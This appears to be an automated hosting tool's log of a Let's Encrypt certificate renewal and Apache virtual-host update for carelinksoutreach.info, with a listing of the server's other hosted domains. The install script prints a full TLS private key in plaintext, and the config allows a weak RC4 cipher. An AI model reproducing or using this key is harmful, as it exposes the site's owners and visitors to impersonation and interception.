fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:47:
PUT: /tmp/pkp604902
#!/bin/bash
if [ -d "/var/www/carelinksoutreach_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:00:47:
chmod 755 /tmp/pkp604902; /tmp/pkp604902; rm /tmp/pkp604902
2025-12-28 06:00:47:
1
2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:48:
PUT: /tmp/pkp707733
#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cat > YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E
cat > oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg
2025-12-28 06:00:48:
chmod 755 /tmp/pkp707733; /tmp/pkp707733; rm /tmp/pkp707733
2025-12-28 06:00:48:
2025-12-28 06:00:57: Establishing a connection
2025-12-28 06:00:57:
PUT: /tmp/pkp208479
#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
rm YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E
rm oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg
2025-12-28 06:00:57:
chmod 755 /tmp/pkp208479; /tmp/pkp208479; rm /tmp/pkp208479
2025-12-28 06:00:57:
2025-12-28 06:00:57: Establishing a connection
2025-12-28 06:00:57:
PUT: /tmp/pkp510939
#!/bin/bash
temp_file=$(mktemp)
TARGET=b64494a3418593cd7c84316d693a17ce.crt
cat > $temp_file <<'endmsg'
c5:4c:16:c9:a4:15:b1:91:f8:a1:ef:bd:91:cd:6e:b3
-----BEGIN CERTIFICATE-----
MIIFLTCCBBWgAwIBAgISBYRvmeoARayzLXYruwiaXfDiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjI1WhcNMjYwMzI4MDUwMjI0WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAqenx9elU2IM3pshaACnv2kIRZo5QMABC2lrZL5Bydf1IgBR5QUCM
G6uJpzFYrXrVWZhplsXWCWPmFN5uiAPKY0N2ijhfhSUsgFHJd39AUTTEmTirR2oA
XcgnE4jlNMp6M5tbsnoAWzri0xZsB/aWPd4v61ww4ihVZXP9z7rvVwyRV61a+w0v
MTF3NGfb3LO45vvHb2JTkzf0I7Urx91wQJMhgqD7vfncrrzgZvQBRjBwpjYBtJ5o
Z1f0/VaROeRJB1acV4lBl1GH6W1AV9F2QxTnZTZQRkLBqTpQuoSF0EWLnUDtKBpy
XmQ66UEYc/8xJS3nF+/1ppwt3bpRoP9jBQIDAQABo4ICSzCCAkcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBSZJd3uTNeaMHKhHiMBcakl6dxAqDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOTkuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbY4upwQAABAMARzBFAiEA0r0PwrlS
6ZsWraQnIZ+syTXFey9UhT5OwczZltSt+SACIDBsTeUsVZYXogXJpkfh4/G3NX0r
xR1mHmw/1eH+0Vo4AH8Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcA
AAGbY4us/gAIAAAFAC0O3qkEAwBIMEYCIQC4vgxpyIcK5YY7VPmgXhP9F0p1acVm
dJdEsanhgSZKlQIhAPVc0AUy5xBk0TK0Z7rXmJT4I63IBwsy9Tc4BH4v1FqGMA0G
CSqGSIb3DQEBCwUAA4IBAQAdY/6EKsUDd0+9kH5xYdnBFO7ZG99o3/031fB+qrAA
IDH5cXNwbWg0K39E2xCT++2kKJ3eHRVIu/CrwTFDz3BMsrIB8pB3PY9N5lnKFdAD
E0FmRamH5k1Q5npZq0PdyyZNptu8KNd0e1xF7VQCH8yRk62X3kw0KEUqyDtSiXad
PfzAYt2ZHWV66/VPR4IbLjbzz3Gz68/GOIWfvoMCmSThz8PaPTNj8GRW7MnhtV8g
7e3QFHjtoUu4b7OuN+uUSHeWQKj2muaq/HxK5iToUjvKjKi/bgJKJX/S/TvoA9lX
T46uBwIhQB1tLXpp9IBbbv/fAFcOUVpoMa5WrsJKXBj6
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp6fH16VTYgzem
yFoAKe/aQhFmjlAwAELaWtkvkHJ1/UiAFHlBQIwbq4mnMVitetVZmGmWxdYJY+YU
3m6IA8pjQ3aKOF+FJSyAUcl3f0BRNMSZOKtHagBdyCcTiOU0ynozm1uyegBbOuLT
FmwH9pY93i/rXDDiKFVlc/3Puu9XDJFXrVr7DS8xMXc0Z9vcs7jm+8dvYlOTN/Qj
tSvH3XBAkyGCoPu9+dyuvOBm9AFGMHCmNgG0nmhnV/T9VpE55EkHVpxXiUGXUYfp
bUBX0XZDFOdlNlBGQsGpOlC6hIXQRYudQO0oGnJeZDrpQRhz/zElLecX7/WmnC3d
ulGg/2MFAgMBAAECggEAEMB9Qn7GsVypLUsDfztN587WYwNqPyacxg++6e7r2gYm
vQ9Hr89AAQULL+4FjX+sGTFATRp5h7jPA6+1ELk5nZ/BHXosBgyBiVqG6mkkBjLq
+dBEfWijW0ZTKUc4kdkvQyHwtcqheQfNOn0zbsrjn9CQGOb19YDUf97NCfX8Mttj
4F5OJ1rMaQw/9znbjpohaROl7q524FH4kfVfH9GvAOtSbx4tryCo5V+I1Ns18Mbm
DqmBcPc1d36w9Yd6UZhnChuCIkcJeHAe+bZpMXimwQW0AcqvbYcs3luuTYuMsq5x
7kCl48t5cOpMa4pn473wTodduVUr4RmyI8EO6gWU4QKBgQDV1GJ/dQqajkxUFuaF
XSmp1hfQfg6dTjfSvgUXvsB343xUTd1JtINjuTw2G4IkKwTThcURN34ifVrSQQv4
ypWxHdYEB/2hr/vZi2H42jBXDdxiBWS3Xy5QhNhPqeuJtusD38CHyKNllrBKmWjs
F+PycFCvUiThQ9HjdF69+5OCLwKBgQDLbGJ6GO/xJIGtLFSJMah8m6AReahwDsQw
dKqlofZz+0RPsq4Osl0dVEHfQ8h+tGNyAsUJODa74BqYX2dx7yV4AsIk0BSCcmsL
5399RftygLFLtQcdmIdMeOJmjMYCnTDuWwkN0ibBsoeQW55ZpzT4RP1GHSkCz2Sg
8Auzv6glCwKBgQDD+4RHs9uDKvc0f0TLaUb9fdeX5WG5te4ePsFmMRQxDhRvJGq0
2jkulqFkKjROuAsVX97uV8FJFUG/wZSac/tdOa5lRXmmzyhzDHhAYKK7t12Njcnw
89D8RbYI1gGm2Dtw8oyBJ1jzjHiJ9y+ebIslMuIQvqZEvSdLZOZNFJ7vSwKBgB/2
Go7mhiSUQM+trGaV58wUQ5UbUUyx9T9LxVga13cnnncLMu/aNGkcSPFEXCcUPp+2
MbEeJPNl5afVLZKoKXHutQRFsUNBqPII4G4VZcl60OB9Q+3xfiiUwbWtHptgiUSa
BxUl1LMQUt5qlrmtXNQ5OrYedMgdP8lNjfki/s87AoGBAKi7orZEksK6Nk7UJfsz
YaJ0IwauKIZsrYC5RXKLLGCuMmYE7GoG3E9Wo/4sQEFrFc8NVl6tkjKfRcVFehXU
B7OPTR3ec1L2GruxV4NbWValYU9LrKhQldDf1T/uNCQjLkRmDDkz94J0ZwL2Ztht
oQXqEpwO0A8ARydPcgD+CPKR
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-28 06:00:57:
chmod 755 /tmp/pkp510939; /tmp/pkp510939; rm /tmp/pkp510939
2025-12-28 06:00:57:
dir=/etc/ssl/certs
2025-12-28 06:00:57:
PUT: /tmp/pkp111247
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-28 06:00:57:
chmod 755 /tmp/pkp111247; /tmp/pkp111247; rm /tmp/pkp111247
2025-12-28 06:00:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 50
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:57:
PUT: /tmp/pkp943444
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksoutreach_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf= 1'
fi
2025-12-28 06:00:57:
chmod 755 /tmp/pkp943444; /tmp/pkp943444; rm /tmp/pkp943444
2025-12-28 06:00:57:
2025-12-28 06:00:57:
PUT: /tmp/pkp335635
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-28 06:00:57:
chmod 755 /tmp/pkp335635; /tmp/pkp335635; rm /tmp/pkp335635
2025-12-28 06:00:58:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:58: Establishing a connection
2025-12-28 06:00:58:
PUT: /tmp/pkp402966
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-28 06:00:58:
chmod 755 /tmp/pkp402966; /tmp/pkp402966; rm /tmp/pkp402966
2025-12-28 06:00:58:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:58:
PUT: /tmp/pkp450112
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:58:
chmod 755 /tmp/pkp450112; /tmp/pkp450112; rm /tmp/pkp450112
2025-12-28 06:00:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 1476
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
